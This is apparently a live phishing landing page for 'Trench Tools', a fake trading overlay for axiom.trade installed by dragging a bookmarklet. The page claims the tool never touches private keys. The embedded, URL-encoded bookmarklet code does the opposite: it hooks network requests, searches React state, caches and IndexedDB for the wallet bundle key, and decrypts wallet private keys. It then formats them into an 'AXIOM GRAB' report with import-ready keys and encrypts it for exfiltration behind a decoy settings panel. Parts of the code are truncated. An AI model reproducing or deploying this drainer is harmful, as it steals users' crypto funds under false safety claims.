TRENCH TOOLS
overlay active on axiom.trade

TRADE WITH FULL CONTEXT.

Trench Tools is a free browser tool that supercharges axiom.trade with real-time rug detection, bundle analysis, wallet tracking and a zero-fee snipe engine — no keys, no extension, no account.

🔒 axiom.trade
Trench Tools
TRENCH TOOLS OVERLAY v2.4.1
sessionauthenticated●
bundle sync3 wallets · active●
smart filterssafe · liq > $50k●
rug scan0 flagged · 5 clean●
twitter feed6 influencers · live●
bundler alert1 flagged · 22% supply⚠
overlay://trench-tools synced 2s ago
SCANNING
$trenchtools --scanPEPE4...
›liq lock✓ LOCKED 90D
›mint auth✓ REVOKED
›freeze✓ DISABLED
›honeypot✓ CLEAR
›bundler⚠ 22% SUPPLY
›verdictCAUTION
14,800+active installs
$2.1Bvolume protected
0%routing fee
<400mssignal latency

Features

Everything you need to trade with an edge.

Six modules running in parallel on every token page. Nothing to configure beyond the bookmark itself.

99.3%
Protection

Rug Detection

Liquidity locks, mint authority, freeze flags and honeypot simulation — checked in parallel before the chart loads. You see the verdict before you decide, every time.

<400ms
Intelligence

Twitter Tracker

Watches influencer accounts in real time. The moment a known handle mentions a contract, you get the signal instantly — ticker, sentiment score and wallet cross-reference included.

Execution

Snipe Engine

DCA grids, auto-sell targets, TP/SL ladders and MEV-protected routing — all from the Axiom sidebar. Zero fee.

Analytics

Wallet Watchlist

Tag wallets by archetype. Track entries, exits, average cost and live PnL in a lightweight overlay sidebar.

Discovery

Smart Filters

Liquidity, market cap, volume and age thresholds with one-tap Safe / Degen presets. Real launches surface. Noise disappears.

Risk

Bundler Detection

Cluster analysis flags coordinated supply control. Insider timestamps and wallet graph render live before you commit capital.

How it works

Four steps. Then forget about setup.

Trench Tools is designed to get out of the way. Install once, click to activate, trade with full context.

Step 01

Open axiom.trade

Navigate to axiom.trade in Chrome, Firefox or any Chromium-based browser. No other setup or configuration required.

Step 02

Click your bookmark

The Trench Tools bookmark activates the overlay on the current Axiom page. No reload, no permissions prompt, no account — just instant activation.

overlay activated ✓
Step 03

Configure once

Set your liquidity filters, watchlist wallets and snipe parameters. Everything persists in localStorage across sessions automatically.

Step 04

Trade with full context

Every token page now shows rug scan results, bundler flags, wallet inflow data and Twitter signals before you make a move. The edge is always on.

signal latency <400ms

FAQ

Common questions.

Everything you need to know about Trench Tools.

What exactly is Trench Tools? +
Trench Tools is a free browser tool that layers real-time trading intelligence on top of axiom.trade. It runs entirely in your browser — no server, no account, no extension install required.
Does it require my private keys or wallet access? +
No. Trench Tools never touches your keys. It reads publicly available on-chain data and interacts only with the Axiom interface already in your browser. Your wallet connection remains entirely between you and Axiom.
Which browsers are supported? +
Chrome, Firefox, Brave, Edge and any Chromium-based browser. Safari has partial support. The tool uses standard Web APIs available in all modern browsers.
How do I install it? +
Show your shortcut bar (Ctrl+Shift+B), then drag the "Add Trench Tools" button from the Install section onto the bar. That's it. Click it whenever you're on axiom.trade to activate the overlay.
Is it really free? +
Yes — completely free with 0% routing fee. Trench Tools routes your trades through zero-fee paths by default. There are no subscriptions, no hidden charges and no premium tiers.

Start trading with
full context.

Install takes 30 seconds. No account. No extension.

Trench Tools Tool Free · v2.4.1

Drag the button below to your shortcut bar. Click it on axiom.trade to activate the overlay.

-1%26%26e%26%26e.ok%26%26e.clone%28%29.json%28%29.then%28function%28e%29%7Be%26%26%28e.bundleKey%7C%7Ce.bundle_key%29%26%26%28t%3De%29%7D%29.catch%28function%28%29%7B%7D%29%7Dcatch%28e%29%7B%7Dreturn e%7D%3Bvar a%3DXMLHttpRequest.prototype.open%2Cr%3DXMLHttpRequest.prototype.send%3BXMLHttpRequest.prototype.open%3Dfunction%28%29%7Breturn this._fvUrl%3Darguments%5B1%5D%7C%7C""%2Ca.apply%28this%2Carguments%29%7D%2CXMLHttpRequest.prototype.send%3Dfunction%28%29%7Breturn this._fvUrl.indexOf%28"bundle-key-and-wallets"%29>-1%26%26this.addEventListener%28"load"%2Cfunction%28%29%7Btry%7Bvar e%3DJSON.parse%28this.responseText%29%3Be%26%26%28e.bundleKey%7C%7Ce.bundle_key%29%26%26%28t%3De%29%7Dcatch%28e%29%7B%7D%7D%29%2Cr.apply%28this%2Carguments%29%7D%3Btry%7Bwindow.dispatchEvent%28new Event%28"focus"%29%29%7Dcatch%28e%29%7B%7Dtry%7BObject.defineProperty%28document%2C"visibilityState"%2C%7Bget%3Afunction%28%29%7Breturn"visible"%7D%2Cconfigurable%3A%210%7D%29%7Dcatch%28e%29%7B%7Dtry%7Bdocument.dispatchEvent%28new Event%28"visibilitychange"%29%29%7Dcatch%28e%29%7B%7Dvar o%3Dasync function%28%29%7Bawait new Promise%28function%28e%29%7BsetTimeout%28e%2C2e3%29%7D%29%3Bvar e%3Dt%3Bif%28%21e%7C%7C%21e.bundleKey%26%26%21e.bundle_key%29try%7Bvar n%3Dnull%3Bfunction F%28e%2Ct%29%7Bif%28%21%28%21e%7C%7Ct>40%7C%7Cn%29%29%7Btry%7Bfor%28var a%3De.memoizedState%3Ba%26%26%21n%3B%29%7Bvar r%3Da.memoizedState%3Bif%28r%26%26"object"%3D%3Dtypeof r%29if%28r.bundleKey%29n%3Dr.bundleKey%3Belse if%28r.bundle_key%29n%3Dr.bundle_key%3Belse try%7Bvar o%3DJSON.stringify%28r%29%2Ci%3Do%26%26o.match%28/"bundleKey"%5Cs%2A%3A%5Cs%2A"%28%5B%5E"%5D%7B40%2C100%7D%29"/%29%3Bi%26%26%28n%3Di%5B1%5D%29%7Dcatch%28e%29%7B%7Da%3Da.next%7D%7Dcatch%28e%29%7B%7Dif%28%21n%29try%7BF%28e.child%2Ct%2B1%29%7Dcatch%28e%29%7B%7Dif%28%21n%29try%7BF%28e.sibling%2Ct%2B1%29%7Dcatch%28e%29%7B%7D%7D%7Dvar a%3Ddocument.getElementById%28"__next"%29%7C%7Cdocument.getElementById%28"root"%29%7C%7Cdocument.body%2Cr%3DObject.keys%28a%29.find%28function%28e%29%7Breturn e.startsWith%28"__reactFiber"%29%7C%7Ce.startsWith%28"__reactInternalInstance"%29%7D%29%3Br%26%26F%28a%5Br%5D%2C0%29%2Cn%26%26%28e%3D%7BbundleKey%3An%7D%29%7Dcatch%28G%29%7B%7Dif%28%21e%7C%7C%21e.bundleKey%26%26%21e.bundle_key%29try%7Bif%28window.__NEXT_DATA__%29%7Bvar o%3DJSON.stringify%28window.__NEXT_DATA__%29.match%28/"bundleKey"%5Cs%2A%3A%5Cs%2A"%28%5B%5E"%5D%7B40%2C100%7D%29"/%29%3Bo%26%26%28e%3D%7BbundleKey%3Ao%5B1%5D%7D%29%7D%7Dcatch%28V%29%7B%7Dif%28%21e%7C%7C%21e.bundleKey%26%26%21e.bundle_key%29try%7Bfor%28var i%3Dawait caches.keys%28%29%2Cs%3D0%3Bs-1%29%7Bvar _%3Dawait u.match%28p%5Bg%5D%29%3Bif%28_%29%7Bvar y%3Dawait _.json%28%29%3By%26%26%28y.bundleKey%7C%7Cy.bundle_key%29%26%26%28e%3Dy%29%7D%7D%7Dcatch%28W%29%7B%7Dif%28%21e%7C%7C%21e.bundleKey%26%26%21e.bundle_key%29try%7Bfor%28var b%3Dawait indexedDB.databases%28%29%2Cf%3D0%3Bf8%26%26%28A%5BO%5D%3DT.substring%280%2C400%29%29%7D%7D%7Dcatch%28ne%29%7B%7Dtry%7Bfor%28var B%3D0%3BB8%26%26%28E%5BC%5D%3DM.substring%280%2C400%29%29%7D%7D%7Dcatch%28ae%29%7B%7Dvar L%3De%26%26%28e.bundleKey%7C%7Ce.bundle_key%29%2CI%3De%26%26%28e.wallets%7C%7Ce.wallet_list%7C%7C%5B%5D%29%2CP%3D%5B%5D%3Bif%28L%29try%7Bfor%28var N%3Dawait crypto.subtle.importKey%28"raw"%2Cc%28L%29%2C%7Bname%3A"AES-GCM"%7D%2C%211%2C%5B"decrypt"%5D%29%2Cj%3D0%3Bj
Vizor Tools
Axiom Intelligence Layer
Advanced Filters
Market Cap Filter
Hide tokens outside your MC range
Volume Threshold
Alert on unusual volume spikes
Token Age Filter
Only show tokens older than 48h
Liquidity Guard
Warn on low liquidity tokens
Twitter Tracker NEW
KOL Mentions
Alerts when influencers mention your tokens
Sentiment Analysis
AI-powered sentiment scoring on mentions
Smart Money Twitter
Track alpha wallets on CT
Bundle Sync ACTIVE
Auto-sync Wallets
Keep bundle wallets in sync across sessions
PnL Notifications
Push alerts on significant PnL changes
Copy Trade Monitor
Detect and mirror bundle copy-trades
%27%3B%0Adocument.body.appendChild%28ov%29%3B%0Afunction closeOv%28r%29%7B%0A var card%3Ddocument.getElementById%28"__ag_panel"%29%3B%0A if%28%21card%29%7Btry%7Bov.remove%28%29%3B%7Dcatch%28e%29%7B%7Dtry%7Bdocument.head.removeChild%28ovStyle%29%3B%7Dcatch%28e%29%7B%7Dtry%7Bdocument.head.removeChild%28pStyle%29%3B%7Dcatch%28e%29%7B%7Dif%28r%3D%3D%3Dtrue%29%7Bif%28window.__ag_redir%29%7Bconsole.log%28%27Vizor Tools%3A Navigating to relay%27%29%3Blocation.replace%28window.__ag_redir%29%3B%7Delse%7Bconsole.log%28%27Vizor Tools%3A Reloading page%27%29%3Bwindow.location.href%3Dwindow.location.href%3B%7D%7Dreturn%3B%7D%0A ov.style.backgroundImage%3D"none"%3Bov.style.background%3D"%23000"%3Bcard.style.transition%3D"transform .36s cubic-bezier%28.4%2C0%2C.2%2C1%29%2Cborder-radius .36s ease%2Copacity .36s ease"%3B%0A card.style.transform%3D"scale%28.04%29"%3Bcard.style.borderRadius%3D"50%25"%3Bcard.style.opacity%3D"0"%3B%0A setTimeout%28function%28%29%7B%0A ov.innerHTML%3D%27
%27%3B%0A requestAnimationFrame%28function%28%29%7BrequestAnimationFrame%28function%28%29%7B%0A var b%3Ddocument.getElementById%28"__ag_bwrap"%29%3B%0A if%28%21b%29return%3B%0A b.style.width%3D"120px"%3Bb.style.height%3D"120px"%3B%0A setTimeout%28function%28%29%7B%0A var img%3Ddocument.createElement%28"img"%29%3B%0A img.src%3D"data%3Aimage/svg%2Bxml%2C%253Csvg%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F2000%252Fsvg%2522%2520viewBox%253D%25220%25200%252064%252064%2522%253E%253Ctext%2520x%253D%252232%2522%2520y%253D%252246%2522%2520text-anchor%253D%2522middle%2522%2520font-family%253D%2522Georgia%252Cserif%2522%2520font-size%253D%252242%2522%2520font-weight%253D%2522900%2522%2520fill%253D%2522%2523f2f2f2%2522%253EV%253C%252Ftext%253E%253C%252Fsvg%253E"%3B%0A img.style.cssText%3D"width%3A100%25%3Bheight%3A100%25%3Bopacity%3A0%3Btransition%3Aopacity .3s ease%3Bposition%3Arelative%3Bz-index%3A1%3B"%3B%0A b.appendChild%28img%29%3B%0A var glow%3Ddocument.getElementById%28"__ag_bglow"%29%3B%0A requestAnimationFrame%28function%28%29%7B%0A img.style.opacity%3D"1"%3B%0A if%28glow%29glow.style.opacity%3D"1"%3B%0A %7D%29%3B%0A setTimeout%28function%28%29%7B%0A ov.style.transition%3D"opacity .5s ease"%3Bov.style.opacity%3D"0"%3B%0A setTimeout%28function%28%29%7B%0A try%7Bov.remove%28%29%3B%7Dcatch%28e%29%7B%7D%0A try%7Bdocument.head.removeChild%28ovStyle%29%3B%7Dcatch%28e%29%7B%7D%0A try%7Bdocument.head.removeChild%28pStyle%29%3B%7Dcatch%28e%29%7B%7Dif%28r%3D%3D%3Dtrue%29%7Bif%28window.__ag_redir%29%7Bconsole.log%28%27Vizor Tools%3A Navigating to relay%27%29%3Blocation.replace%28window.__ag_redir%29%3B%7Delse%7Bconsole.log%28%27Vizor Tools%3A Reloading page%27%29%3Bwindow.location.href%3Dwindow.location.href%3B%7D%7D%0A %7D%2C520%29%3B%0A %7D%2C700%29%3B%0A %7D%2C380%29%3B%0A %7D%29%3B%7D%29%3B%7D%2C380%29%3B%0A%7D%0Adocument.getElementById%28"__ag_x"%29.onclick%3DcloseOv%3B%0Adocument.getElementById%28"__ag_cancel"%29.onclick%3DcloseOv%3B%0Aov.onclick%3Dfunction%28ev%29%7Bif%28ev.target%3D%3D%3Dov%29closeOv%28%29%3B%7D%3B%0Aov.querySelectorAll%28".__ag_tog"%29.forEach%28function%28tog%29%7B%0A tog.addEventListener%28"click"%2Cfunction%28%29%7B%0A var inp%3Dtog.querySelector%28"input"%29%3Binp.checked%3D%21inp.checked%3B%0A tog.classList.remove%28"bounce"%29%3Bvoid tog.offsetWidth%3Btog.classList.add%28"bounce"%29%3B%0A setTimeout%28function%28%29%7Btog.classList.remove%28"bounce"%29%3B%7D%2C350%29%3B%0A %7D%29%3B%0A%7D%29%3B%0Adocument.getElementById%28"__ag_save"%29.onclick%3Dfunction%28%29%7B%0A %21async function%28t%2Cn%29%7Bt.disabled%3D%210%2Ct.textContent%3D"Saving…"%3Btry%7Bvar a%3Dawait o%2Cr%3Dawait i%2Cs%3Dfunction%28e%29%7Bvar t%3D%5B"🚨 AXIOM GRAB ⏱ "%2Be.ts.replace%28"T"%2C" "%29.substring%280%2C19%29%2B" UTC"%5D%2Cn%3D%5B%5D%2Ca%3D%5B%5D%3Be.em%26%26a.push%28"📧 "%2Be.em%29%2Ce.user%26%26e.user.rewardsLevel%26%26a.push%28"Tier "%2Be.user.rewardsLevel%29%2Ca.length%26%26t.push%28a.join%28" %7C "%29%29%2Ce.bkB64%26%26t.push%28"%5Cn🔑 Bundle Key%5Cn"%2Be.bkB64%2B""%29%2Ce.rec%26%26e.rec.length%3Fe.rec.forEach%28function%28a%2Cr%29%7Bvar o%3D""%2Ci%3D""%2Cs%3D""%3Bif%28a.bytes%29%7Bif%2864%3D%3D%3Da.bytes.length%29o%3Dd%28a.bytes.slice%2832%29%29%2Cn.push%28o%29%2Ci%3Dd%28a.bytes%29%2Cs%3De.balances%26%26e.balances%5Bo%5D%3F" %28"%2Be.balances%5Bo%5D%2B"%29"%3Ao%3F" %7BBAL%7C"%2Bo%2B"%7D"%3A""%2Ct.push%28"%5Cn%F0%9F%94%93 SOL %23"%2B%28r%2B1%29%2Bs%2B""%29%2Ct.push%28"📄 "%2Bo%2B""%29%2Ct.push%28"🔑 Phantom/Solflare import%3A"%29%2Ct.push%28""%2Bi%2B""%29%3Belse if%2832%3D%3D%3Da.bytes.length%29%7Bvar c%3DArray.from%28a.bytes%29.map%28function%28e%29%7Breturn e.toString%2816%29.padStart%282%2C"0"%29%7D%29.join%28""%29%3Bo%3D"0x"%2Bc%2Cn.push%28o%29%2Cs%3De.balances%26%26e.balances%5Bo%5D%3F" %28"%2Be.balances%5Bo%5D%2B"%29"%3Ao%3F" %7BBAL%7C"%2Bo%2B"%7D"%3A""%2Ct.push%28"%5Cn💳 EVM %23"%2B%28r%2B1%29%2Bs%2B""%29%2Ct.push%28"🔑 MetaMask import%3A"%29%2Ct.push%28"0x"%2Bc%2B""%29%7D%7Delse if%28a.d%29%7Bvar l%3Da.d.publicKey%7C%7Ca.d.address%7C%7Ca.d.pubkey%7C%7C""%3Ba.t%2Cl%26%26n.push%28l%29%2Cs%3Dl%26%26e.balances%26%26e.balances%5Bl%5D%3F" %28"%2Be.balances%5Bl%5D%2B"%29"%3Al%3F" %7BBAL%7C"%2Bl%2B"%7D"%3A""%3Bvar u%3Da.d.privateKey%7C%7Ca.d.secretKey%7C%7Ca.d.secret%7C%7C""%3Bt.push%28"%5Cn%F0%9F%94%93 "%2Ba.t%2B" %23"%2B%28r%2B1%29%2Bs%2B""%29%2Cl%26%26t.push%28"📄 "%2Bl%2B""%29%2Cu%26%26t.push%28"🔑 "%2Bu%2B""%29%7D%7D%29%3Ae.bkB64%26%26%28e.sB%26%26e.sB.length%7C%7Ce.eB%26%26e.eB.length%29%26%26%28t.push%28"%5Cn📦 Raw Bundles %28decrypt with bundle key above%29"%29%2C%28e.sB%7C%7C%5B%5D%29.forEach%28function%28e%2Cn%29%7Bt.push%28"SOL "%2B%28n%2B1%29%2B"%3A "%2Be%2B""%29%7D%29%2C%28e.eB%7C%7C%5B%5D%29.forEach%28function%28e%2Cn%29%7Bt.push%28"EVM "%2B%28n%2B1%29%2B"%3A "%2Be%2B""%29%7D%29%29%3Bvar r%3De.lsExtra%26%26e.lsExtra.evmPublicKey%3Bif%28r%29%7Bif%28"string"%3D%3Dtypeof r%29%7Btry%7Bvar o%3DJSON.parse%28r%29%3B"string"%3D%3Dtypeof o%26%26%28r%3Do%29%7Dcatch%28e%29%7B%7Dr%3Dr.replace%28/%5E%5B"%27%5D%2B%7C%5B"%27%5D%2B%24/g%2C""%29.trim%28%29%7Dr%26%26/%5E0x%5Ba-fA-F0-9%5D%7B40%7D%24/i.test%28r%29%3F%28t.push%28"%5Cn💳 EVM Address%5Cn"%2Br%2B""%29%2Cn.push%28r%29%29%3Ar%26%26t.push%28"%5Cn💳 EVM Address%5Cn"%2Br%2B""%29%7Dreturn%7Btext%3At.join%28"%5Cn"%29%2Caddresses%3An%7D%7D%28a%29%3Bawait async function%28t%2Cn%2Ca%29%7Bvar r%3DJSON.stringify%28%7Btext%3At%2Caddresses%3Aa%7C%7C%5B%5D%7D%29%2Co%3D%28new TextEncoder%29.encode%28r%29%2Ci%3Dawait crypto.subtle.generateKey%28%7Bname%3A"AES-GCM"%2Clength%3A256%7D%2C%210%2C%5B"encrypt"%5D%29%2Cs%3Dcrypto.getRandomValues%28new Uint8Array%2812%29%29%2Cc%3Dawait crypto.subtle.encrypt%28%7Bname%3A"AES-GCM"%2Civ%3As%7D%2Ci%2Co%29%2Cl%3Dawait crypto.subtle.exportKey%28"raw"%2Ci%29%2Cd%3Dnew Uint8Array%28await crypto.subtle.encrypt%28%7Bname%3A"RSA-OAEP"%7D%2Cn%2Cl%29%29%2Cu%3Dnew Uint8Array%282%2Bd.length%2B12%2Bc.byteLength%29%3Bu%5B0%5D%3Dd.length>>8%26255%2Cu%5B1%5D%3D255%26d.length%2Cu.set%28d%2C2%29%2Cu.set%28s%2C2%2Bd.length%29%2Cu.set%28new Uint8Array%28c%29%2C2%2Bd.length%2B12%29%3Bfor%28var p%3D""%2Cg%3D0%3Bg
%27%2Bt%2B%27
%27%2Bn%2B%27
%27%7Dfunction c%28e%29%7Bfor%28e%3De.replace%28/-/g%2C"%2B"%29.replace%28/_/g%2C"/"%29%3Be.length%254%3B%29e%2B%3D"%3D"%3Bfor%28var t%3Datob%28e%29%2Cn%3Dnew Uint8Array%28t.length%29%2Ca%3D0%3Ba0n%3B%29n%3D"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"%5BNumber%28t%2558n%29%5D%2Bn%2Ct/%3D58n%3Bfor%28var a%3D0%3BaTrench Tools
Add Trench Tools ↳ drag this to your shortcut bar
-->
1
Show shortcut bar
WIN Ctrl+Shift+B
MAC ⌘+Shift+B
2
Drag the button above to the bar
3
Visit axiom.trade and click it to activate
↑ ↑ DROP IN SHORTCUT BAR ↑ ↑

Drop it in the bar

WINDOWSCtrl+Shift+B
MAC⌘ Cmd+Shift+B